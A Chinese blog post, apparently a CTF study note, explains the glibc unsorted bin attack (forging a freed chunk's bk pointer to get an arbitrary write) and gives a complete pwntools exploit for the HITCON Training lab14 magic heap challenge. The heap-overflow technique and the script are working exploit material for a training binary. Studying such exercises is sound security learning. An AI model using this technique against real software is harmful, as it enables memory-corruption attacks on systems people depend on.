zoukankan      html  css  js  c++  java
  • Unsorted Bin Attack

    在程序 malloc 时,如果在 fastbin,small bin 中找不到对应大小的 chunk,就会尝试从 unsorted Bin 中寻找 chunk。如果取出来的 chunk 大小刚好满足,就会直接返回给用户,否则就会把这些 chunk 分别插入到对应的 bin 中。

    unsorted Bin Attack 的前提是unsorted Bin Chunk 的 bk 指针可控

    我们可以修改bk(指向链表中下一个chunk)为 addr-2*size (size是一个单位大小,32/64程序为4/8)

    来修改addr地址的值,能实现任意地址修改,但只能修改成较大的值

    为什么是addr-2*size

    一个完整的chunk

    我们可以构造一个假的

    如果我们修改链表中上一个chunk的bk指向addr-2*size 也就是prev_size

    那么addr位置就对应到fd

    当我们把上一个chunk拿走(其实是unsorted bin里面的最后一个,我们通过修改bk,构造了一个假的在其后,),unsorted bin 就会更新 进而将假chunk的fd更新为一个较大值

      unsorted bin的机制是 FIFO 即先进先出

      新的chunk放在链首位置,取出的时候从链尾开始遍历,直到找到大小符合的chunk,或者遍历完

      遍历过的chunk,如果没有被选中使用,就会转移到相应的bin中(也就是sorted了)

      unsorted bin以及其他类似的bin,可以看作是一个具有分类,标志性意义的chunk

      可以看出这里chunk的fd指针没有什么用,不过unsorted bin 链表可能就此破坏,如果再加入新的chunk到unsorted bin,就可能发生错误

    所以假chunk的fd(addr)就会更新指向上上一个chunk的地址

    因为unsorted bin的bk指向的是假chunk的上一个chunk 所以假chunk不会被遍历

    然后讨论一下size的一些东西

    size必须是2*SIZE_SZ的整数倍 ( SIZE_SZ 在32/64程序中为4/8)

    不满足整数倍的size按小于size且最大的整数倍处理

    所以不论是32还是64程序 size的低三个字节对size大小没有影响 且有特殊含义

    它们从高到低分别表示为:

      NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。

      IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。

      PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。

    题目

    HITCON Training lab14 magic heap

    目标是将magic的值改为大于0x1305

    而且edit可以修改size

    当所有bin里面都没有符合的chunk的时候,程序就会从topchunk里面分割相应大小的chunk出来

    所以在程序开始我们连续申请chunk 得到的chunk地址应该是连续的

    进而可以修改上一个chunk的size,content来修改该被释放的相邻位置的chunk的所有内容

    代码中0x91的1就是最低位bit prev_inuse标志位

    from pwn import *
    io = process('./mag')
    def add(size, content):
        io.recvuntil(":")
        io.sendline("1")
        io.recvuntil(":")
        io.sendline(str(size))
        io.recvuntil(":")
        io.sendline(content)
    def edit(idx, size, content):
        io.recvuntil(":")
        io.sendline("2")
        io.recvuntil(":")
        io.sendline(str(idx))
        io.recvuntil(":")
        io.sendline(str(size))
        io.recvuntil(":")
        io.sendline(content)
    def cut(idx):
        io.recvuntil(":")
        io.sendline("3")
        io.recvuntil(":")
        io.sendline(str(idx))
    
    add(0x20,'0x20') # 0
    add(0x80,'0x80') # 1
    add(0x20,'0x20') # 2
    cut(1)
    
    prev_size=0
    size=0x91
    fd=0
    bk=0x6020C0-0x10
    payload='A'*0x20+p64(prev_size)+p64(size)+p64(fd)+p64(bk)
    edit(0,0x20*2,payload)
    
    add(0x80,'0x80')
    io.recvuntil(":")
    io.sendline("4869")
    io.interactive()

  • 相关阅读:
    GoGin 跨域处理
    Vue sso认证快速接入实践
    领域驱动设计(DDD):项目目录(包、模块)结构
    高绩效团队建设与管理系列课程
    VR设备产业链
    Supercell资深策划谈三大产品制作经验:游戏设计就像丛林探险,必须险中求胜
    领导力管理培训课
    博众投资:虚拟数字人概念,开辟元宇宙炒作新战场!
    FW: Flow区块链门票NFT开发实战【含源码】
    放弃学术研究,做投资大获成功
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/12046442.html
Copyright © 2011-2022 走看看